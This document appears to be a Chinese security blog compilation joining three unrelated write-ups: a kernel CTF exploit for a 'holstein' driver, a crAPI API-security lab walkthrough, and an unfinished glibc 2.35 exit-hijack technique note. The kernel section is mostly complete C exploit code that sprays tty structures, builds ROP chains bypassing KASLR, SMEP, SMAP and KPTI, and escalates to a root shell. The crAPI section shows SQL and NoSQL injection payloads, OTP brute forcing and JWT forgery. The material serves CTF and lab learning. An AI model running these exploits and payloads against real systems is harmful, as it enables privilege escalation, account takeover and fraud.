printf("[0x%x] 0x%lx\n",i ,p[i]);
...
这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。
泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。
...
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
for (unsigned long i = 0; i < 0x80; i++)
p[i] = i;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
...
可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。
由于题目没有开启任何保护,接下来就是ret2usr即可
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff81074650 T prepare_kernel_cred
0xffffffff810744b0 T commit_creds
*/
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff810744b0;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
//printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启KASLR
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
commit_creds = kernel_base + commit_creds_offset;
__asm(
".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, commit_creds;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启SMAP与SMEP
SMAP与SMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;与mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。
因此需要通过根据这几个寄存器修改栈顶的操作
cat g | grep -E "push rdx;.* pop rsp;.* ret"
该gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs + kernel_base;
p[0x2a] = iretq_pop_rbp_offset + kernel_base;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
开启kpti
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 kpti=1 kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermode的gadget即可
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
#define swapgs_restore_regs_and_return_to_usermode 0x800e10
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
p[0x2a] = 0;
p[0x2b] = 0;
p[0x2c] = (unsigned long)backdoor;
p[0x2d] = user_cs;
p[0x2e] = user_rflags;
p[0x2f] = user_sp;
p[0x30] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
crAPI靶场学习记录
靶场搭建
https://github.com/C2yb8er/crAPIlabs(我fork了一份)
docker安装,笔者是用的wsl+docker.
[lab0:初始账户 ]
注册一个账户,邮箱为mailto:API@qq.com,密码为Admin@123
登陆后访问对应IP的8025端口,接收邮件获取车辆信息。
[lab1:访问其它用户车辆的详细信息 ]
登录后首先找到泄露其它用户的车辆id的接口。进入论坛主页点击某一个论坛文章发现此时的URL为:
于是试着抓一下包,看能返回什么,可以看到已经返回了该用户的隐私信息:
进一步我们猜测一下直接抓论坛首页试试:
在这里我们就得到了demo用户的vehicleid 信息
要查车辆信息,现在我们只有Dashboard页面存在车辆信息,我们尝试抓包这个页面,抓了下首页发现是应该根据我们当前用户的Cookie来返回的,我们再找找有没有其他地方:
我们将其替换为demo用户的vehicleid 信息54e7994a-e14e-4ee6-a46d-235ca3fd0eed
[lab2:访问其它用户的机械报告 ]
在提交的Json数据中发现危险数据:
[lab3: 重置其它用户的密码 ]
退出登录,点击忘记密码,输入<mailto:API@qq.com,点击Sent OTP,在后台查看验证码只有四位,于是准备爆破
填写表单,密码修改为Admin@456 ,提交抓包查看:
多交几次看看有没有限制爆破:
由于是API的靶场,我们试试换个API的版本试试:
开始着手爆破,选择狙击手模式即可,导入我们从0到9999的字典开始爆破:
可以看到原来的密码已经不能登录了:
[lab4: 找到泄露其它用户敏感信息的API接口 ]
同lab1中的论坛页面信息泄露
[lab5: 找到泄露视频内部属性的API接口 ]
感觉这个接口比较鸡肋
懒得按这个按钮才弹出的上传视频选项,于是我选择修改前端删掉hidden部分就可以:
lab6: 使用 "contact mechanic"功能完成第7[层DoS]
在提交的Json数据中发现危险数据:
我们尝试修改,再重新提交:
[lab7:删除另一个用户的视频 ]
这个API危害挺大
还是lab5处的抓包,我们修改一下协议,把PUT修改为OPTIONS
HTTP中的OPTIONS方法是一种用于获取目标资源所支持的HTTP方法列表的请求方法。它允许客户端向服务器查询对特定资源所支持的请求方法,以确定在不实际发送请求的情况下,可以对该资源执行哪些操作。
OPTIONS请求的主要用途包括:
CORS(跨域资源共享):在进行跨域请求时,浏览器会首先发送一个OPTIONS请求,以确定服务器是否允许发送实际的跨域请求。服务器可以通过返回特定的响应头(如Access-Control-Allow-Methods)来指示允许的请求方法。
服务器功能查询:客户端可以使用OPTIONS请求向服务器查询特定资源支持的HTTP方法列表。这对于动态确定可以执行的操作非常有用,可以根据服务器返回的允许的方法列表来自适应地构建请求。
API文档和发现:OPTIONS方法还可以用于提供API文档和服务发现功能。通过在OPTIONS响应中包含有关资源的元数据,例如支持的方法、请求头等信息,客户端可以获得有关API的更多信息,以便正确使用和调用API。
GET:用于从服务器获取资源。客户端发送一个GET请求来获取指定URI的资源。GET请求是幂等的,即多次发送相同的GET请求应该返回相同的响应。
POST:用于向服务器提交数据,创建新资源或触发服务器的处理操作。POST请求将数据作为请求体发送给服务器,通常用于提交表单数据、上传文件等。
PUT:用于向服务器更新或替换资源。PUT请求将请求体中的数据保存到服务器上指定的URI位置。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。
DELETE:用于删除服务器上的资源。DELETE请求用于删除指定URI的资源。
OPTIONS:用于获取目标资源所支持的HTTP方法列表。OPTIONS请求允许客户端查询服务器对特定资源支持的请求方法,以确定可以对该资源执行哪些操作。
HEAD:与GET方法类似,但不返回响应体,仅返回响应头。HEAD请求用于获取关于资源的元数据,例如响应头中的信息,而无需传输整个响应体。
PATCH:用于对服务器上的资源进行局部更新。PATCH请求仅对资源进行部分修改,而不是替换整个资源。
除了上述方法外,HTTP/1.1 规范还定义了其他一些请求方法,如:
TRACE:用于在请求往返的路径上执行一个追踪。它通常用于诊断和调试,以确定请求如何通过代理服务器和中间节点传输。
CONNECT:用于建立与目标主机的隧道连接,通常用于通过代理服务器建立安全的HTTPS连接。
权限不足说明需要用admin的身份:
后续通过修改videos/ 后的ID可以实现任意视频的删除
[lab8: 免费获得一件物品 ]
点击后抓包:
修改请求方式为GET:
我们可以敏锐地观察到返回的Json数据中有一个status数据,明显表示着已经订购的信息。回到购买界面,我们看到还有Return按钮,我们点击后抓包看看:
直接切换成GET请求爆出了无权使用的消息,不慌张我们试试尝试着先把这个货品退回再用之前的方式利用
order_id进行查看,发现状态确实发生了改变。
这里我们大胆猜想退回的状态就是returned进行修改试试,注意由于status是原来就有的数据,所以这里我们需要用PUT协议进行提交而不是POST协议:
PUT和POST是HTTP请求方法,用于向服务器提交数据。它们在语义和使用场景上有以下区别:
目的:POST用于向服务器提交数据,请求服务器对数据进行处理。通常用于创建新资源、提交表单数据、发送评论等。PUT用于向服务器更新或替换指定URI的资源。如果URI不存在,则可以创建新资源;如果URI已存在,则将其替换为请求的内容。
幂等性:POST请求不是幂等的,即多次发送相同的POST请求可能会产生不同的结果。每次发送POST请求,服务器可能会创建新的资源、执行不同的操作或返回不同的响应。PUT请求是幂等的,即多次发送相同的PUT请求应该产生相同的结果。每次发送PUT请求,服务器应该将请求的内容保存在指定的URI位置,因此多次请求会更新或替换相同的资源。
数据位置:POST请求将数据包含在请求体中发送给服务器。数据的格式可以是表单数据、JSON、XML等。PUT请求也将数据包含在请求体中,但是它通常用于指定URI位置的资源,并将请求的内容保存在该位置。
资源标识:POST请求通常由服务器决定资源的标识,并返回新资源的标识符(如生成的ID)。
PUT请求通常由客户端指定资源的标识,即URI中的位置。
总结来说,POST用于提交数据进行处理,通常用于创建新资源或执行操作,而PUT用于更新或替换指定URI的资源。POST请求不是幂等的,而PUT请求是幂等的。根据具体的应用场景和资源操作需求,选择适当的请求方法来进行数据提交和资源更新。
从返回的数据可以看到已经修改成功了,也就是说我们空少套白狼了4个椅子
[lab9:将您的结余增加1000元或以上 ]
同样地利用上面的API,因为我们发现数据不仅可以提交status还可以提交quantity。
先将quantity改为100,status改为delivered,这样我们就可以不花钱就点了100个价值10元的椅子
然后修改状态为returned,就可以退钱!!!🤑
[lab10: 更新内部视频属性 ]
同lab5的抓包,我们可以看到返回的Json数据有如下几种:
所以我们需要更改的话就使用PUT协议,在请求的Json数据中指定就好。
http://www.baidu.com/同lab2接口与抓包,抓包后我们在请求信息中发现了关键信息:
为了验证这个猜想,我们使用DNSlog进行验证,使用工具:https://dig.pm/
DNSlog是一种用于收集和分析DNS查询的日志的技术和工具。在网络通信中,DNS(DomainNameSystem)用于将域名解析为对应的IP地址。DNSlog通过设置恶意DNS服务器或域名来截获应用程序或系统发出的DNS查询请求,并将查询信息记录到日志中。
DNSlog注入是一种利用应用程序对DNS查询结果的处理不当而导致的安全漏洞。它通常发生在应用程序通过DNS查询获取动态资源时,没有对返回的DNS响应进行充分的验证和过滤。攻击者可以通过构造恶意的DNS查询请求,将恶意内容注入到应用程序的响应中,从而实现攻击目的。
复制subdomain并加上http://后替换mechanic_api的值
lab12: 想办法在不知道优惠券代码的情况下获[得免费优惠券]
先找到输出优惠卷代码的接口,进行抓包查看数据:
查了一下文档,考点是NoSQL Injection,之前都学的是SQL注入基于MySQL的这里来个NoSQL给我整不会了,先学一下NoSQL的基本知识:
NoSQL注入(NoSQLInjection)是一种攻击技术,针对使用NoSQL数据库的应用程序而言,类似于传统SQL注入攻击。NoSQL注入利用了应用程序对用户输入数据的处理不当,以执行未授权的操作或绕过访问控制。
NoSQL数据库与传统关系型数据库不同,其查询语言和数据存储机制也不同。然而,一些NoSQL数据库仍然需要处理用户提供的数据,如查询参数、过滤条件等。如果应用程序没有正确验证和过滤这些用户输入数据,就可能存在NoSQL注入漏洞。
NoSQL注入攻击的原理是攻击者通过在应用程序发送给NoSQL数据库的查询中注入恶意的数据,以干扰查询的逻辑。攻击者可以利用以下方法进行注入攻击:
注入查询语句:攻击者通过在查询中注入恶意操作符、查询语句或特殊字符,来修改查询的逻辑,获取敏感数据或执行未授权的操作。
绕过访问控制:攻击者可以通过注入特定的查询条件来绕过应用程序的访问控制机制,获取未授权的数据或执行特权操作。
盲注入:在一些情况下,应用程序可能没有直接将查询结果返回给用户,而是根据查询的结果来进行后续操作。攻击者可以通过注入特定的查询条件,观察应用程序的行为差异,从而推断出查询的结果或执行特定操作。
NoSQL(Not OnlySQL)是一类非关系型数据库,与传统的关系型数据库(如MySQL、Oracle)相对应。NoSQL数据库设计的初衷是解决关系型数据库在大规模数据存储和高并发访问方面的局限性。
NoSQL数据库采用了不同的数据模型和存储机制,以满足特定的应用需求。与传统关系型数据库使用表格结构和SQL查询语言不同,NoSQL数据库通常采用以下数据模型之一:
键值存储(Key-ValueStores):使用简单的键值对结构存储数据,通过唯一的键来访问数据。例如,Redis、DynamoDB。
文档存储(DocumentStores):以类似JSON或XML的文档格式存储数据,每个文档都有唯一的标识符。例如,MongoDB、CouchDB。
列族存储(Column FamilyStores):将数据组织为列族的形式,每个列族包含不同的列和行。例如,HBase、Cassandra。
图形数据库(GraphDatabases):用于处理图形结构数据,其中节点和边表示实体和它们之间的关系。例如,Neo4j、JanusGraph。
NoSQL数据库具有以下特点和优势:
可扩展性:NoSQL数据库通常具有良好的横向扩展性,可以轻松处理大规模数据和高并发访问。
灵活的数据模型:NoSQL数据库提供了灵活的数据模型,适应不同类型和结构的数据,无需事先定义严格的表格结构。
高性能:由于去除了复杂的关系模型和复杂的查询语言,NoSQL数据库可以实现更高的读写性能。
弱一致性:一些NoSQL数据库采用了弱一致性模型,允许数据在不同节点之间存在一定的延迟和不一致性,以提高性能和可用性。
分布式架构:NoSQL数据库常用于分布式环境中,数据可以在多个节点上进行分布和复制,提供高可用性和容错性。
我们在这里使用了两个数据库软件分别是Postgresdb 和Mongodb,通过我们之前的响应信息的Json格式可以判断。但是这里的Postgresdb常简称为Postgres)是一个开源的关系型数据库管理系统(RDBMS),而不是NoSQL数据库。
经过查阅docker的日志,很神奇我并没有使用这个db,可能是我们的模块暂未使用它吧。
故我们只需要面对Mongodb进行NoSQL注入就行了原本的Json提交数据是:
这表示MongoDB将搜索集合中满足查询条件的文档,并返回结果集中包含"coupon_code"字段值为"1234"的文档。
在学习了最基本的NoSQL注入的语句和Mongodb数据的结构后我构造了payload:
1 {"coupon_code": {"$ne": "hacked by c2yb8er"}}
这个查询条件的意思是,查找"coupon_code"字段值不等于hacked by c2yb8er 的文档。
其中$ne 操作符表示不等于的意思
https://xz.aliyun.com/t/9908#toc-4lab13: 找到一种通过修改数据库来兑换已经领取的优惠券的方法
有点疑惑,实战的时候找不到这种文档怎么办?
查看文档发现一个接口/workshop/api/shop/apply_coupon
我很懵逼,为什么我明明用的Mongodb,不应该是NoSQL注入吗?这里为什么来了一个MySQL中的字符型注入?查阅一下相应代码,真相水落石出了!
class ApplyCouponView(APIView): """Apply Coupon View to increase the available credit""" @jwt_auth_required def post(self, request, user=None): """ api for checking if coupon is already claimed if claimed before: returns an error message else: increases the user credit :param request: htt
注入点是这段代码:
with connection.cursor() as cursor: cursor.execute("SELECT coupon_code from applied_coupon WHERE user_id = "\ + str(user.id)\ + " AND coupon_code = '"\ + coupon_request_body['coupon_code']\ + "'")
当我传入如下数据后:
{"coupon_code":"1'or '1'='1","amount":1}
这里执行的SQL语句就会变成这样:
SELECT coupon_code from applied_coupon WHERE user_id = 'My_id' AND coupon_code = '1'or '1'='1'
破案了!我还以为我刚刚学的NoSQL注入白学了!🥺
[lab14: 查找不为用户执行身份验证检查的接口 ]
同lab3中的/workshop/api/mechanic/mechanic_report?report_id=6
同lab8中的/workshop/api/shop/orders/1
[lab15:找到伪造有效 JWT 令牌的方法 ]
[JWT Algorithm Confusion Vulnerability]
https://auth0.com/docs/secure/tokens/json-web-tokens/json-web-key-sets:Auth0exposes a JWKS endpoint for each tenant, which is found at
https://{yourDomain}/.well-known/jwks.json . This endpoint willcontain the JWK used to verify all Auth0-issued JWTs for this tenant.
通过访问http://localhost:8888/.well-known/jwks.json 获取JWT的公钥
到 JWT选项卡,点击New RSA Key 复制 JWK key 内容
之后再右键我们新建的Key Copy Public Key as Pem
去Decoder选项卡对这个 PEM 密钥进行 Base64 编码,然后复制生成的字符串
再次回到Burp 主选项卡栏中 的 JWT Editor Keys选项卡,点击New SymmetricKey后Generate,将 k 属性的生成值替换为PEM Base64编码
然后在burp的请求中可以发现 json webtoken选项卡,在选择卡左下角处也可以看到对 json web token 的攻击选项。
[Invalid Signature Vulnerability]
我们在访问Dashboard 的时候进行抓包,进入Repeater 中的JSON Web Token页面中:
首先我们修改Payload中的sub为其他的账户试试:成功越权访问到其他用户的信息:
实际上就是通过修改下图红框内的内容进行的验证:
现在我们将Header中的算法改为不启用,点击Attack中的"none" SigningAlgorithm ,发送包后发现我们的验证字段值发生了较大的变化:
但是这个只是一个特殊的接口漏洞,在这个接口中可以用这种方式破解JWT进行越权访问,其他接口就不行了:
[AddLab1: 增加一个商品 ]
对首页的Shop 进行抓包:
查看相应信息发现同时也支持POST协议,把GET改为POST试试:
提示缺少三个参数,我们补充好试试:
添加成功!
[AddLab2:支付漏洞 ]
同lab8抓包,修改quantity为负数:
[总结]
通过本次靶场学习我对API安全有了更深的认识,之前觉得比较抽象。同时也对HTTP中的GET\POST\PUT\DELETE\OPTIONS等协议有了更深刻的理解。
同时在分析lab有些题目的时候,我学习了NoSQL注入的方式,对Mongodb这些非关系型数据库有了基本的认识。同时,精进了我对BurpSuite的操作。
美中不足的就是我对 JWT相关知识不太熟悉,打完靶场后也没太懂这个东西有什么用处。这是我后面需要进行补充学习的。
总的来说,本靶场认真打下来的话,我相信你会对API安全有不一样的认识和理解!
glibc2.35-通过tls_dtor_list劫持exit执行流程
前言
glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。
传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。
__call_tls_dtors
在程序返回时会通过exit函数,exit函数会经历以下调用过程
exit
->
__run_exit_handlers
->
__call_tls_dtors
而__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:
判断tls_dtor_list为空
不为空则将tls_dtor_list赋值给cur
取出函数指针cur->func
通过PTR_DEMANGLE宏解密指针值
执行函数指针
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下
首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88
而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空
那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程
首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list中
